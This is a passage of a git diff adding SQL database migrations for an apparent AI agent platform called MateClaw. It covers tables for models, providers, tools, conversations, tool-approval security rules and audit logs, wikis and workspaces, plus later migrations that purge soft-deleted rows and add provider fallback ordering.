model_name VARCHAR(128) NOT NULL, + description TEXT, + temperature DOUBLE PRECISION, + max_tokens INT, + top_p DOUBLE PRECISION, + builtin BOOLEAN NOT NULL DEFAULT TRUE, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + is_default BOOLEAN NOT NULL DEFAULT FALSE, + max_input_tokens INT DEFAULT 0, + enable_search BOOLEAN DEFAULT FALSE, + search_strategy VARCHAR(32) DEFAULT NULL, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_model_config_model_name ON mate_model_config (model_name); + +-- 模型 Provider 表 +CREATE TABLE IF NOT EXISTS mate_model_provider ( + provider_id VARCHAR(64) NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + api_key_prefix VARCHAR(32), + chat_model VARCHAR(64), + api_key VARCHAR(512), + base_url VARCHAR(512), + generate_kwargs TEXT, + is_custom BOOLEAN NOT NULL DEFAULT FALSE, + is_local BOOLEAN NOT NULL DEFAULT FALSE, + support_model_discovery BOOLEAN NOT NULL DEFAULT FALSE, + support_connection_check BOOLEAN NOT NULL DEFAULT FALSE, + freeze_url BOOLEAN NOT NULL DEFAULT FALSE, + require_api_key BOOLEAN NOT NULL DEFAULT TRUE, + auth_type VARCHAR(16) NOT NULL DEFAULT 'api_key', + oauth_access_token TEXT, + oauth_refresh_token TEXT, + oauth_expires_at BIGINT, + oauth_account_id VARCHAR(128), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); + +-- 系统设置表 +CREATE TABLE IF NOT EXISTS mate_system_setting ( + id BIGINT NOT NULL PRIMARY KEY, + setting_key VARCHAR(128) NOT NULL UNIQUE, + setting_value TEXT, + description VARCHAR(256), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); + +-- 技能表 +CREATE TABLE IF NOT EXISTS mate_skill ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description TEXT, + skill_type VARCHAR(32) NOT NULL DEFAULT 'dynamic', + icon VARCHAR(256), + version VARCHAR(32), + author VARCHAR(64), + config_json TEXT, + source_code TEXT, + skill_content TEXT, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + builtin BOOLEAN NOT NULL DEFAULT FALSE, + tags VARCHAR(256), + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 工具表 +CREATE TABLE IF NOT EXISTS mate_tool ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + display_name VARCHAR(128), + description TEXT, + tool_type VARCHAR(32) NOT NULL DEFAULT 'builtin', + bean_name VARCHAR(128), + icon VARCHAR(256), + mcp_endpoint VARCHAR(256), + params_schema TEXT, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + builtin BOOLEAN NOT NULL DEFAULT FALSE, + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 渠道表 +CREATE TABLE IF NOT EXISTS mate_channel ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + channel_type VARCHAR(32) NOT NULL, + agent_id BIGINT, + bot_prefix VARCHAR(64), + config_json TEXT, + enabled BOOLEAN NOT NULL DEFAULT FALSE, + description VARCHAR(256), + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 会话表 +CREATE TABLE IF NOT EXISTS mate_conversation ( + id BIGINT NOT NULL PRIMARY KEY, + conversation_id VARCHAR(64) NOT NULL UNIQUE, + title VARCHAR(256), + agent_id BIGINT, + username VARCHAR(64), + message_count INT NOT NULL DEFAULT 0, + last_message TEXT, + last_active_time TIMESTAMP, + stream_status VARCHAR(16) NOT NULL DEFAULT 'idle', + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_conversation_username ON mate_conversation (username); + +-- 消息表 +CREATE TABLE IF NOT EXISTS mate_message ( + id BIGINT NOT NULL PRIMARY KEY, + conversation_id VARCHAR(64) NOT NULL, + role VARCHAR(32) NOT NULL, + content TEXT, + content_parts TEXT, + tool_name VARCHAR(128), + token_usage INT, + prompt_tokens INT DEFAULT 0, + completion_tokens INT DEFAULT 0, + runtime_model VARCHAR(128), + runtime_provider VARCHAR(64), + status VARCHAR(32) NOT NULL DEFAULT 'completed', + metadata TEXT, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +COMMENT ON COLUMN mate_message.metadata IS '存储 toolCalls, plan, currentPhase, pendingApproval 等元数据'; +CREATE INDEX IF NOT EXISTS idx_message_conversation ON mate_message (conversation_id); +CREATE INDEX IF NOT EXISTS idx_message_conv_time ON mate_message (conversation_id, create_time); + +-- 执行计划表 +CREATE TABLE IF NOT EXISTS mate_plan ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id VARCHAR(64), + goal TEXT, + status VARCHAR(32) NOT NULL DEFAULT 'pending', + total_steps INT NOT NULL DEFAULT 0, + completed_steps INT NOT NULL DEFAULT 0, + summary TEXT, + start_time TIMESTAMP, + end_time TIMESTAMP, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 子计划步骤表 +CREATE TABLE IF NOT EXISTS mate_sub_plan ( + id BIGINT NOT NULL PRIMARY KEY, + plan_id BIGINT NOT NULL, + step_index INT NOT NULL, + description TEXT, + status VARCHAR(32) NOT NULL DEFAULT 'pending', + result TEXT, + start_time TIMESTAMP, + end_time TIMESTAMP, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_sub_plan_plan_id ON mate_sub_plan (plan_id); + +-- 定时任务表 +CREATE TABLE IF NOT EXISTS mate_cron_job ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + cron_expression VARCHAR(128) NOT NULL, + timezone VARCHAR(64) NOT NULL DEFAULT 'Asia/Shanghai', + agent_id BIGINT NOT NULL, + task_type VARCHAR(16) NOT NULL DEFAULT 'text', + trigger_message TEXT, + request_body TEXT, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + next_run_time TIMESTAMP, + last_run_time TIMESTAMP, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 渠道会话存储表 +CREATE TABLE IF NOT EXISTS mate_channel_session ( + id BIGINT NOT NULL PRIMARY KEY, + conversation_id VARCHAR(128) NOT NULL UNIQUE, + channel_type VARCHAR(32) NOT NULL, + target_id VARCHAR(512) NOT NULL, + sender_id VARCHAR(128), + sender_name VARCHAR(128), + channel_id BIGINT, + last_active_time TIMESTAMP NOT NULL, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_channel_session_type ON mate_channel_session (channel_type); +CREATE INDEX IF NOT EXISTS idx_channel_session_channel_id ON mate_channel_session (channel_id); + +-- 工作区文件表(Agent 级 Markdown 文档管理) +CREATE TABLE IF NOT EXISTS mate_workspace_file ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + filename VARCHAR(256) NOT NULL, + content TEXT, + file_size BIGINT NOT NULL DEFAULT 0, + enabled BOOLEAN NOT NULL DEFAULT FALSE, + sort_order INT NOT NULL DEFAULT 0, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_workspace_file_agent ON mate_workspace_file (agent_id); +CREATE INDEX IF NOT EXISTS idx_workspace_file_agent_enabled ON mate_workspace_file (agent_id, enabled); + +-- ==================== MCP Server 管理 ==================== + +CREATE TABLE IF NOT EXISTS mate_mcp_server ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description TEXT, + transport VARCHAR(32) NOT NULL DEFAULT 'stdio', + url VARCHAR(512), + headers_json TEXT, + command VARCHAR(512), + args_json TEXT, + env_json TEXT, + cwd VARCHAR(512), + enabled BOOLEAN NOT NULL DEFAULT TRUE, + connect_timeout_seconds INT NOT NULL DEFAULT 30, + read_timeout_seconds INT NOT NULL DEFAULT 30, + last_status VARCHAR(32) NOT NULL DEFAULT 'disconnected', + last_error TEXT, + last_connected_time TIMESTAMP, + tool_count INT NOT NULL DEFAULT 0, + builtin BOOLEAN NOT NULL DEFAULT FALSE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_mcp_server_enabled ON mate_mcp_server (enabled); + +-- ==================== 工具安全治理(ToolGuard) ==================== + +-- 工具审批表 +CREATE TABLE IF NOT EXISTS mate_tool_approval ( + id BIGINT NOT NULL PRIMARY KEY, + pending_id VARCHAR(32) NOT NULL UNIQUE, + conversation_id VARCHAR(128) NOT NULL, + user_id VARCHAR(64), + agent_id VARCHAR(64), + channel_type VARCHAR(32), + requester_name VARCHAR(128), + reply_target VARCHAR(512), + tool_name VARCHAR(128) NOT NULL, + tool_arguments TEXT, + tool_call_payload TEXT, + tool_call_hash VARCHAR(64), + sibling_tool_calls TEXT, + summary TEXT, + findings_json TEXT, + max_severity VARCHAR(16), + status VARCHAR(32) NOT NULL DEFAULT 'PENDING', + resolved_by VARCHAR(64), + created_at TIMESTAMP NOT NULL, + resolved_at TIMESTAMP, + expire_at TIMESTAMP, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_tool_approval_conv ON mate_tool_approval (conversation_id); +CREATE INDEX IF NOT EXISTS idx_tool_approval_status ON mate_tool_approval (status); +CREATE INDEX IF NOT EXISTS idx_tool_approval_pending_id ON mate_tool_approval (pending_id); + +-- 安全规则表 +CREATE TABLE IF NOT EXISTS mate_tool_guard_rule ( + id BIGINT NOT NULL PRIMARY KEY, + rule_id VARCHAR(64) NOT NULL UNIQUE, + name VARCHAR(128) NOT NULL, + description TEXT, + tool_name VARCHAR(128), + param_name VARCHAR(128), + category VARCHAR(64) NOT NULL, + severity VARCHAR(16) NOT NULL, + decision VARCHAR(16) NOT NULL DEFAULT 'NEEDS_APPROVAL', + pattern VARCHAR(512) NOT NULL, + exclude_pattern VARCHAR(512), + remediation TEXT, + builtin BOOLEAN NOT NULL DEFAULT FALSE, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + priority INT NOT NULL DEFAULT 100, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 安全全局配置表 +CREATE TABLE IF NOT EXISTS mate_tool_guard_config ( + id BIGINT NOT NULL PRIMARY KEY, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + guard_scope VARCHAR(32) NOT NULL DEFAULT 'all', + guarded_tools_json TEXT, + denied_tools_json TEXT, + file_guard_enabled BOOLEAN NOT NULL DEFAULT TRUE, + sensitive_paths_json TEXT, + audit_enabled BOOLEAN NOT NULL DEFAULT TRUE, + audit_min_severity VARCHAR(16) NOT NULL DEFAULT 'INFO', + audit_retention_days INT NOT NULL DEFAULT 90, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); + +-- 安全审计日志表 +CREATE TABLE IF NOT EXISTS mate_tool_guard_audit_log ( + id BIGINT NOT NULL PRIMARY KEY, + conversation_id VARCHAR(128), + agent_id VARCHAR(64), + user_id VARCHAR(64), + channel_type VARCHAR(32), + tool_name VARCHAR(128) NOT NULL, + tool_params_json TEXT, + decision VARCHAR(16) NOT NULL, + max_severity VARCHAR(16), + findings_json TEXT, + pending_id VARCHAR(32), + replay_payload_hash VARCHAR(64), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_guard_audit_conv ON mate_tool_guard_audit_log (conversation_id); +CREATE INDEX IF NOT EXISTS idx_guard_audit_time ON mate_tool_guard_audit_log (create_time); + +-- ==================== 外部数据源 ==================== + +CREATE TABLE IF NOT EXISTS mate_datasource ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description VARCHAR(512), + db_type VARCHAR(32) NOT NULL, + host VARCHAR(256) NOT NULL, + port INT NOT NULL, + database_name VARCHAR(128) NOT NULL, + username VARCHAR(128), + password VARCHAR(512), + extra_params VARCHAR(512), + schema_name VARCHAR(128), + enabled BOOLEAN NOT NULL DEFAULT TRUE, + last_test_time TIMESTAMP, + last_test_ok BOOLEAN, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- ==================== 异步任务(视频/图片生成等长耗时操作) ==================== + +CREATE TABLE IF NOT EXISTS mate_async_task ( + id BIGINT NOT NULL PRIMARY KEY, + task_id VARCHAR(64) NOT NULL, + task_type VARCHAR(32) NOT NULL, + status VARCHAR(16) NOT NULL DEFAULT 'pending', + conversation_id VARCHAR(128), + message_id BIGINT, + provider_name VARCHAR(64), + provider_task_id VARCHAR(128), + request_json TEXT, + result_json TEXT, + error_message VARCHAR(512), + progress INT DEFAULT 0, + created_by VARCHAR(64), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_async_task_taskid ON mate_async_task (task_id); +CREATE INDEX IF NOT EXISTS idx_async_task_conv ON mate_async_task (conversation_id); +CREATE INDEX IF NOT EXISTS idx_async_task_status ON mate_async_task (status); + +-- ==================== 记忆召回追踪 ==================== + +CREATE TABLE IF NOT EXISTS mate_memory_recall ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + filename VARCHAR(256) NOT NULL, + snippet_hash VARCHAR(64), + snippet_preview VARCHAR(512), + recall_count INT NOT NULL DEFAULT 0, + daily_count INT NOT NULL DEFAULT 0, + query_hashes TEXT, + score DOUBLE PRECISION NOT NULL DEFAULT 0.0, + last_recalled_at TIMESTAMP, + promoted BOOLEAN NOT NULL DEFAULT FALSE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_memory_recall_agent ON mate_memory_recall (agent_id); +CREATE INDEX IF NOT EXISTS idx_memory_recall_agent_file ON mate_memory_recall (agent_id, filename); +CREATE INDEX IF NOT EXISTS idx_memory_recall_score ON mate_memory_recall (agent_id, score); +CREATE INDEX IF NOT EXISTS idx_memory_recall_candidates ON mate_memory_recall (agent_id, promoted, deleted); + +-- ==================== Wiki 知识库 ==================== + +CREATE TABLE IF NOT EXISTS mate_wiki_knowledge_base ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description TEXT, + agent_id BIGINT, + config_content TEXT, + source_directory VARCHAR(512), + status VARCHAR(32) NOT NULL DEFAULT 'active', + page_count INT NOT NULL DEFAULT 0, + raw_count INT NOT NULL DEFAULT 0, + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wiki_kb_agent ON mate_wiki_knowledge_base (agent_id); + +CREATE TABLE IF NOT EXISTS mate_wiki_raw_material ( + id BIGINT NOT NULL PRIMARY KEY, + kb_id BIGINT NOT NULL, + title VARCHAR(256) NOT NULL, + source_type VARCHAR(32) NOT NULL DEFAULT 'text', + source_path VARCHAR(512), + original_content TEXT, + extracted_text TEXT, + content_hash VARCHAR(64), + file_size BIGINT NOT NULL DEFAULT 0, + processing_status VARCHAR(32) NOT NULL DEFAULT 'pending', + last_processed_at TIMESTAMP, + error_message VARCHAR(512), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wiki_raw_kb ON mate_wiki_raw_material (kb_id); +CREATE INDEX IF NOT EXISTS idx_wiki_raw_status ON mate_wiki_raw_material (kb_id, processing_status); + +CREATE TABLE IF NOT EXISTS mate_wiki_page ( + id BIGINT NOT NULL PRIMARY KEY, + kb_id BIGINT NOT NULL, + slug VARCHAR(256) NOT NULL, + title VARCHAR(256) NOT NULL, + content TEXT, + summary VARCHAR(1024), + outgoing_links TEXT, + source_raw_ids TEXT, + version INT NOT NULL DEFAULT 1, + last_updated_by VARCHAR(32) NOT NULL DEFAULT 'ai', + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_page_kb_slug ON mate_wiki_page (kb_id, slug); +CREATE INDEX IF NOT EXISTS idx_wiki_page_kb ON mate_wiki_page (kb_id); + +-- ============================================= +-- 工作区表(Phase 2) +-- ============================================= + +-- 工作区 +CREATE TABLE IF NOT EXISTS mate_workspace ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + slug VARCHAR(64) NOT NULL, + description VARCHAR(256), + owner_id BIGINT, + settings_json TEXT, + base_path VARCHAR(512), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workspace_slug ON mate_workspace (slug); + +-- 工作区成员 +CREATE TABLE IF NOT EXISTS mate_workspace_member ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + user_id BIGINT NOT NULL, + role VARCHAR(32) NOT NULL DEFAULT 'member', + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_ws_member_workspace ON mate_workspace_member (workspace_id); +CREATE INDEX IF NOT EXISTS idx_ws_member_user ON mate_workspace_member (user_id); + +-- ============================================= +-- Agent-Skill / Agent-Tool 绑定表(Phase 3 Sprint 2) +-- ============================================= + +CREATE TABLE IF NOT EXISTS mate_agent_skill ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + skill_id BIGINT NOT NULL, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + config_json TEXT, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_skill ON mate_agent_skill (agent_id, skill_id); + +CREATE TABLE IF NOT EXISTS mate_agent_tool ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + tool_name VARCHAR(128) NOT NULL, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_tool ON mate_agent_tool (agent_id, tool_name); + +-- ============================================= +-- CronJob 执行历史(Phase 3 Sprint 3) +-- ============================================= +CREATE TABLE IF NOT EXISTS mate_cron_job_run ( + id BIGINT NOT NULL PRIMARY KEY, + cron_job_id BIGINT NOT NULL, + conversation_id VARCHAR(64), + status VARCHAR(32) NOT NULL, + trigger_type VARCHAR(32) NOT NULL DEFAULT 'scheduled', + started_at TIMESTAMP NOT NULL, + finished_at TIMESTAMP, + error_message TEXT, + token_usage INT DEFAULT 0, + create_time TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_cron_run_job ON mate_cron_job_run (cron_job_id, started_at); + +CREATE TABLE IF NOT EXISTS mate_usage_daily ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + agent_id BIGINT, + stat_date DATE NOT NULL, + conversation_count INT DEFAULT 0, + message_count INT DEFAULT 0, + total_tokens BIGINT DEFAULT 0, + prompt_tokens BIGINT DEFAULT 0, + completion_tokens BIGINT DEFAULT 0, + tool_call_count INT DEFAULT 0, + error_count INT DEFAULT 0, + create_time TIMESTAMP NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_usage_daily ON mate_usage_daily (workspace_id, agent_id, stat_date); + +-- ============================================= +-- 操作审计事件表(Phase 3 Sprint 1) +-- ============================================= +CREATE TABLE IF NOT EXISTS mate_audit_event ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT, + user_id BIGINT NOT NULL, + username VARCHAR(64) NOT NULL, + action VARCHAR(64) NOT NULL, + resource_type VARCHAR(64) NOT NULL, + resource_id VARCHAR(128), + resource_name VARCHAR(256), + detail_json TEXT, + ip_address VARCHAR(64), + user_agent VARCHAR(256), + create_time TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_audit_ws_time ON mate_audit_event (workspace_id, create_time); +CREATE INDEX IF NOT EXISTS idx_audit_user ON mate_audit_event (user_id); +CREATE INDEX IF NOT EXISTS idx_audit_resource ON mate_audit_event (resource_type, resource_id); + +-- 清理 Codex 不支持的 ChatGPT OAuth 模型(gpt-4o, o3, o4-mini 在 Codex 模式下不可用) +DELETE FROM mate_model_config WHERE provider = 'openai-chatgpt' AND model_name IN ('gpt-4o', 'o3', 'o4-mini'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V20__purge_soft_deleted_rows.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V20__purge_soft_deleted_rows.sql new file mode 100644 index 00000000..095d5774 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V20__purge_soft_deleted_rows.sql @@ -0,0 +1,34 @@ +-- V20: Purge soft-deleted rows from all tables and retire soft-delete semantics. +-- @TableLogic has been removed from all entities — the project no longer +-- supports soft-delete. Clear residual deleted=1 rows so queries that still +-- reference the deleted column (or raw SQL in service layer) continue to +-- behave consistently. The deleted column itself is retained with its +-- NOT NULL DEFAULT 0 constraint for schema compatibility. +DELETE FROM mate_agent WHERE deleted = 1; +DELETE FROM mate_agent_skill WHERE deleted = 1; +DELETE FROM mate_agent_tool WHERE deleted = 1; +DELETE FROM mate_channel WHERE deleted = 1; +DELETE FROM mate_channel_session WHERE deleted = 1; +DELETE FROM mate_conversation WHERE deleted = 1; +DELETE FROM mate_cron_job WHERE deleted = 1; +DELETE FROM mate_datasource WHERE deleted = 1; +DELETE FROM mate_mcp_server WHERE deleted = 1; +DELETE FROM mate_memory_recall WHERE deleted = 1; +DELETE FROM mate_message WHERE deleted = 1; +DELETE FROM mate_model_config WHERE deleted = 1; +DELETE FROM mate_plan WHERE deleted = 1; +DELETE FROM mate_plugin WHERE deleted = 1; +DELETE FROM mate_skill WHERE deleted = 1; +DELETE FROM mate_sub_plan WHERE deleted = 1; +DELETE FROM mate_tool WHERE deleted = 1; +DELETE FROM mate_tool_approval WHERE deleted = 1; +DELETE FROM mate_tool_guard_audit_log WHERE deleted = 1; +DELETE FROM mate_tool_guard_rule WHERE deleted = 1; +DELETE FROM mate_user WHERE deleted = 1; +DELETE FROM mate_wiki_chunk WHERE deleted = 1; +DELETE FROM mate_wiki_knowledge_base WHERE deleted = 1; +DELETE FROM mate_wiki_page WHERE deleted = 1; +DELETE FROM mate_wiki_raw_material WHERE deleted = 1; +DELETE FROM mate_workspace WHERE deleted = 1; +DELETE FROM mate_workspace_file WHERE deleted = 1; +DELETE FROM mate_workspace_member WHERE deleted = 1; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V21__provider_fallback_priority.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V21__provider_fallback_priority.sql new file mode 100644 index 00000000..deffe62d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V21__provider_fallback_priority.sql @@ -0,0 +1,26 @@ +-- RFC-009 Phase 1: ordered multi-provider fallback chain +-- +-- fallback_priority defines the order in which a provider is tried after the +-- primary model exhausts retries: +-- 0 : not in the fallback chain (default — matches pre-RFC behavior) +-- 1, 2, … : try in ascending order +-- +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use the INFORMATION_SCHEMA guard so +-- this migration is idempotent across redeploys. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'fallback_priority' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN fallback_priority INT DEFAULT 0; + END IF; +END $$; + +-- Seed: keep DashScope as priority 1 so existing deployments preserve the +-- single-fallback-to-DashScope behavior the hardcoded path used to provide. +UPDATE mate_model_provider + SET fallback_priority = 1 + WHERE provider_id = 'dashscope' + AND (fallback_priority IS NULL OR fallback_priority = 0); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V23__wiki_relation_model.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V23__wiki_relation_model.sql new file mode 100644 index 00000000..e3dc2e3b --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V23__wiki_relation_model.sql @@ -0,0 +1,16 @@ +CREATE TABLE IF NOT EXISTS mate_wiki_page_citation ( + id BIGINT PRIMARY KEY, + page_id BIGINT NOT NULL, + chunk_id BIGINT NOT NULL, + paragraph_idx INT NOT NULL DEFAULT 0, + anchor_text VARCHAR(512), + confidence DECIMAL(4,3) NOT NULL DEFAULT 1.000, + created_by VARCHAR(32) NOT NULL DEFAULT 'system', + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wpc_page ON mate_wiki_page_citation (page_id); +CREATE INDEX IF NOT EXISTS idx_wpc_chunk ON mate_wiki_page_citation (chunk_id); + +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS page_type VARCHAR(32) NOT NULL DEFAULT 'concept'; +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS purpose_hint TEXT; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V24__wiki_processing_job.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V24__wiki_processing_job.sql new file mode 100644 index 00000000..8c49747a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V24__wiki_processing_job.sql @@ -0,0 +1,25 @@ +CREATE TABLE IF NOT EXISTS mate_wiki_processing_job ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + raw_id BIGINT NOT NULL, + job_type VARCHAR(32) NOT NULL DEFAULT 'heavy_ingest', + stage VARCHAR(64) NOT NULL DEFAULT 'queued', + status VARCHAR(32) NOT NULL DEFAULT 'queued', + primary_model_id BIGINT, + current_model_id BIGINT, + fallback_chain_json TEXT, + retry_count INT NOT NULL DEFAULT 0, + max_retries INT NOT NULL DEFAULT 3, + error_code VARCHAR(64), + error_message TEXT, + resume_from_stage VARCHAR(64), + meta_json TEXT, + started_at TIMESTAMP(3), + finished_at TIMESTAMP(3), + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wpj_raw ON mate_wiki_processing_job (raw_id); +CREATE INDEX IF NOT EXISTS idx_wpj_status ON mate_wiki_processing_job (status); +CREATE INDEX IF NOT EXISTS idx_wpj_kb ON mate_wiki_processing_job (kb_id, status); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V25__agent_provider_preference.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V25__agent_provider_preference.sql new file mode 100644 index 00000000..aa434990 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V25__agent_provider_preference.sql @@ -0,0 +1,24 @@ +-- RFC-009 Phase 4 PR-3: per-agent provider preferences +-- +-- Lets each agent declare an ordered list of preferred provider ids. Empty +-- table for an agent (no rows) means "use the global fallback chain order" +-- — fully backwards compatible with pre-PR-3 behavior. When rows exist, +-- listed providers are tried in ascending sort_order before any non-listed +-- provider is considered. +-- +-- This is purely a routing hint. The runtime walker still gates each entry +-- through AvailableProviderPool / ProviderHealthTracker — a preferred +-- provider that is HARD-removed or in cooldown is still skipped. + +CREATE TABLE IF NOT EXISTS mate_agent_provider_preference ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + provider_id VARCHAR(128) NOT NULL, + sort_order INT NOT NULL DEFAULT 0, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_provider ON mate_agent_provider_preference (agent_id, provider_id); +CREATE INDEX IF NOT EXISTS idx_agent_provider_order ON mate_agent_provider_preference (agent_id, sort_order); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V26__dream_report.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V26__dream_report.sql new file mode 100644 index 00000000..f9d9b003 --- /dev/null +++ 